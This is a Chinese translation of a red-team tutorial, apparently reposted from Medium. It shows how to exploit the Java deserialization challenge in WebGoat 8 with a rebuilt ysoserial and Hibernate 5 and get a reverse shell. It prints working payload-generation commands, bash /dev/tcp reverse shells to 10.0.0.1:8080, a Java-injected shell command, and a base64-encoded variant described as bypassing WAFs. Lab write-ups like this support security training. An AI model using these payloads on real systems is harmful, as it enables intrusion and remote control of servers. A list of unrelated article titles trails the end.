原标题:利用 Java 反序列化漏洞在受限环境下获取反向 Shell

原文链接:

https://medium.com/abn-amro-red-team/java-deserialization-from-discovery-to-reverse-shell-on-limited-environments-2e7b4e14fbef

原文作者:

Ahmed Sherif@_ahmadsherif(推特)

Francesco Soncina

恭喜翻译作者mss****

价值100元的天猫超市享淘卡一张

欢迎更多优质原创,翻译作者加入

ASRC文章奖励计划

欢迎多多投稿到先知社区

每天一篇优质技术好文

点滴积累促成质的飞跃

今天也要进步一点点呀

在本文中,我们将以(部署在Docker上的)WebGoat 8反序列化挑战题为例,为读者详细介绍攻击者利用反序列化漏洞的过程。实际上,这里只需让sleep函数运行5秒钟,即可解决这一挑战题。但是,为了增加难度,我们将设法获得反向shell。

简介

Java反序列化漏洞在安全社区中已为人所知多年。早在2015年,两名安全研究人员Chris Frohoff和Gabriel Lawrence就在AppSecCali会议上发表了题目为Marshalling Pickles的演讲。此外,他们还发布了一款有效载荷生成器,名为ysoserial。

借助于对象序列化技术,开发人员可以将内存中的对象转换为二进制和文本数据格式来进行存储或传输。但是,利用不可信的数据来反序列化对象时,可能会导致远程代码执行漏洞。

挖掘漏洞

正如挑战题中所提到的,易受攻击的页面从用户输入中获取Base64格式的序列化Java对象,并盲目地对其进行了反序列化处理。我们将通过提供一个序列化对象来利用该漏洞,因为该对象会触发Property Oriented Programming Chain(POP链),从而在反序列化期间实现远程命令执行攻击。

WebGoat 8反序列化漏洞挑战题

接下来,我们需要启动Burp软件,并安装一个名为Java-Deserialization-Scanner的插件。该插件提供了2个主要功能:其中一个功能用于扫描,另一个功能是借助ysoserial工具生成漏洞利用代码。

Burp Suite的Java反序列化漏洞扫描插件

扫描远程端点后,该Burp插件将显示下列内容:

Hibernate 5(Sleep ): Potentially VULNERABLE!!!

听起来很棒!

漏洞利用

现在,让我们进入下一个步骤:点开exploitation选项卡,以实现任意命令执行。

咦?这里ysoserial似乎遇到了一个问题。为了深入研究该问题,请切换至控制台,看看究竟是怎么回事。

有效载荷生成错误

通过观察ysoserial,我们发现,这里有两种不同的POP链可用于Hibernate。但是,通过试验发现,这两种有效载荷都无法在目标系统上正常执行。

ysoserial提供的有效载荷

那么,该插件是如何生成有效载荷来触发sleep命令的呢?

为此,我们决定考察一下该插件的源代码,具体链接如下所示:

[federicodotta/Java-Deserialization-ScannerBurp Suite的一体化插件,用于检测和利用Java反序列化漏洞……github.com ](https://github.com/federicodotta/Java-Deserialization-Scanner/blob/master/src/burp/BurpExtender.java "federicodotta/Java-Deserialization-ScannerBurp Suite的一体化插件,用于检测和利用Java反序列化漏洞……github.com")

阅读该插件的源代码之后,我们发现其中的有效载荷是以硬编码的方式提供的,所以,我们需要找到一种方法来生成这种形式的有效载荷,只有这样才能使其正常工作。

有效载荷是以硬编码的方式提供的。

在我们自己的研究和大神的帮助下,我们发现,为了让我们的有效载荷能够正常工作,必须对当前版本的ysoserial进行适当的修改。

我们下载了ysoserial的源代码,并决定使用Hibernate 5完成重新编译工作。为了提供Hibernate 5成功构建ysoserial,我们还必须将javax.el包添加到pom.xml文件中。

此外,我们还向原始项目发送了一个Pull请求,以便在选择hibernate5配置文件时对构建过程进行相应的修订。

更新后的pom.xml文件

这样的话,我们就可以重新构建ysoserial了,具体命令如下所示:

mvn clean package -DskipTests -Dhibernate5

然后,我们就可以生成有效载荷了:

java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test"|base64 -w0

适用于Hibernate 5的有效载荷

我们可以通过下列命令来访问docker容器,以验证我们的命令是否已正确执行:

docker exec-it /bin/bash

如您所见,我们的有效载荷在机器上成功执行了!

也就是说,我们的漏洞利用成功了!

接下来,我们要枚举目标计算机上的二进制文件。

webgoat@1d142ccc69ec:/$ which php

webgoat@1d142ccc69ec:/$ which python

webgoat@1d142ccc69ec:/$ which python3

webgoat@1d142ccc69ec:/$ which wget

webgoat@1d142ccc69ec:/$ which curl

webgoat@1d142ccc69ec:/$ which nc

webgoat@1d142ccc69ec:/$ which perl

/usr/bin/perl

webgoat@1d142ccc69ec:/$ which bash

/bin/bash

webgoat@1d142ccc69ec:/$

这里只有Perl和Bash是可用的。下面,让我们精心构造一个有效载荷,以便使其为我们返回一个反向shell。

我们在Pentest Monkeys上看了一些单行反向shell:

[反壳shell备忘录如果你的运气足够好,在渗透测试期间找到命令执行漏洞的话,那么很快就会... pentestmonkey.net ](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet "反壳shell备忘录如果你的运气足够好,在渗透测试期间找到命令执行漏洞的话,那么很快就会... pentestmonkey.net")

于是,决定尝试一下反向shell Bash:

bash -i > &/dev/tcp/10.0.0.1/8080 0> &1

但是,正如您可能知道的那样,java.lang.Runtime.exec()具有很大的局限性:不支持重定向或管道等shell操作符。

于是,我们决定使用由Java语言编写的反向shell。实际上,这里只是修改了Gadgets.java上的相关源代码,以生成相应的反向shell有效载荷。

以下是我们需要修改的路径

/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java

中从第116到118行。

下面是来自Pentest Monkeys的Java反向shell,尚无法正常使用:

r=Runtime.getRuntime ()

p=r.exec (["/bin/bash", "-c", "exec 5<>/dev/tcp/10.0.0.1/2002;cat &5 >&5; done"]as String [])

p.waitFor ()

在对代码进行了一些修改之后,我们得到了以下结果:

String cmd="java.lang.Runtime.getRuntime().exec(new String []{"/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat &5 >&5; done"}).waitFor();";

clazz.makeClassInitializer ().insertAfter (cmd );

让我们重新构建ysoserial,并对生成的有效载荷进行测试。

用Bash反向shell生成武器化的有效载荷

看到没:我们得到了一个反向shell!

太棒了!

有效载荷生成过程的推广

在研究过程中,我们发现后面链接中的编码器也能够替我们完成这个工作,具体链接为http://jackson.thuraisamy.me/runtime-exec-payloads.html。

通过如下所示的Bash反向shell命令:

bash -i > &/dev/tcp/ [IP address ]/ [port ]0> &1

生成的有效载荷如下所示:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ ==}|{base64,-d }|{bash,-i }

太棒了!这个编码器对于绕过WAF来说也非常有用!

参考资料

https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/

http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/

https://github.com/frohoff/ysoserial

https://github.com/federicodotta/Java-Deserialization-Scanner

在此,我们要特别感谢Federico Dotta和Mahmoud ElMorabea!

责任编辑:

java反序列化漏洞POP查找_利用 Java 反序列化漏洞在受限环境下获取反向 Shell相关推荐

  1. java导出mysql数据库失败_利用Java进行MySql数据库的导入和导出

    利用Java来进行Mysql数据库的导入和导出的总体思想是通过Java来调用命令窗口执行相应的命令. MySql导出数据库的命令如下: mysqldump -uusername -ppassword  ...

  2. java判断是否第一次出现_利用java判断字符首次出现的位置,java替换最后一个特定字符...

    利用java判断字符首次出现的位置利用爪哇判断字符首次出现的位置, 目的: (学习视频分享:java视频教程 实现代码如下: 导入Java.util.收藏品: 导入Java.util.LinkedLi ...

  3. java se好用吗_利用 Java SE 7 更好地管理资源

    2011 年 5 月发布 作者:Julien Ponge 本文介绍 Java 7 针对自动资源管理问题给出的解决办法,即 Coin 项目中提出的新语言结构 try-with-resources 语句. ...

  4. 在java里四舍五入怎么做_利用java怎么实现一个四舍五入功能

    利用java怎么实现一个四舍五入功能 发布时间:2020-12-02 16:46:08 来源:亿速云 阅读:68 作者:Leah 这期内容当中小编将会给大家带来有关利用java怎么实现一个四舍五入功能 ...

  5. java运用到的单词_利用Java怎么实现一个单词提取功能

    利用Java怎么实现一个单词提取功能 发布时间:2020-12-08 17:07:00 来源:亿速云 阅读:65 作者:Leah 这篇文章给大家介绍利用Java怎么实现一个单词提取功能,内容非常详细, ...

  6. java 怎么做302重定向_利用Java怎么获取302重定向后的URL

    利用Java怎么获取302重定向后的URL 发布时间:2021-01-22 16:59:02 来源:亿速云 阅读:57 作者:Leah 本篇文章为大家展示了利用Java怎么获取302重定向后的URL, ...

  7. 用java写一个折半查找_用Java写一个折半查找。

    import java.util.Comparator; public class MyUtil { public static > int binarySearch(T[] x, T key) ...

  8. java filter 返回错误消息_利用java filter 实现业务异常拦截 跳转到错误信息提示页面...

    1.缘由:我们在做项目中肯定都会遇到自定义业务异常 ,然后将业务异常信息跳转的统一的信息提示页面的情况,比如我们在struts的时候我们会用到struts的异常处理机制,我们在业务层会跑出我们遇到业务 ...

  9. java 发送短信例子_利用java实现的一个发送手机短信的小例子

    今天闲来无事,在微博上看到一个关于用java实现的一个发送手机短信的程序,看了看,写的不太相信,闲的没事,把他整理下来,以后可能用得着 JAVA发送手机短信,流传有几种方法:(1)使用webservi ...

最新文章

  1. JSP--JavaBean
  2. mysql 联接结果集函数_Oracle 中函数如何返回结果集
  3. php处理不确定笛卡尔积,PHP笛卡尔积实现算法示例
  4. python中文意思k-python-RepeatedKFold实际上是什么意思?
  5. ASP.Net生成静态HTML页
  6. Java的三种代理模式简述
  7. numpy.tril详解
  8. Python基础38(进程基础)
  9. 使用 C# 代码实现拓扑排序
  10. 30万手表推荐_一年收入20万—30万的小生意,市场上有哪些呢?推荐几个供参考...
  11. RAM Type——Register file(寄存器堆)
  12. K8S集群中网络通信故障常见问题的排查思路
  13. 如何用c语言word文件页数,word文件页码怎么设置
  14. 485的信号测试软件,RS485通信测试项目中的压力测试方法、原理及基本测试模型...
  15. java中Graphics类的使用
  16. Spring Boot中mybatis:Field peopleInfoMapper in ‘**’that could not be found.
  17. MongoDB中balancer操作
  18. 【t101】小明搬家
  19. 全球及中国射频器件市场规模格局与投资战略决策报告2022版
  20. 周易起名源码|八字起名源码|起名源码PHP附搭建教程

热门文章

  1. Java URL转换MultipartFile对象(文件URL传输类型接口)
  2. JS 数组转字符串中间用指定符号隔开
  3. server12 委派_在Server 2008中使用控制委派向导分配权限
  4. CAD教程:画布上绘制一些不规则图形
  5. Windows用scp服务器下载文件报错No file or directionary
  6. 计算机操作系统复习2
  7. maven连同所有依赖包一起打包成jar包
  8. 还在埋头背八股文吗?不如先给自己的面试加点硬菜:怎样在延迟任务场景,提高吞吐量和时效性?
  9. 博图能打开s7200吗_流氓软件你能避免吗?赶紧看看你的安卓手机打开这个开关没...
  10. 三星GT-N8010刷机教程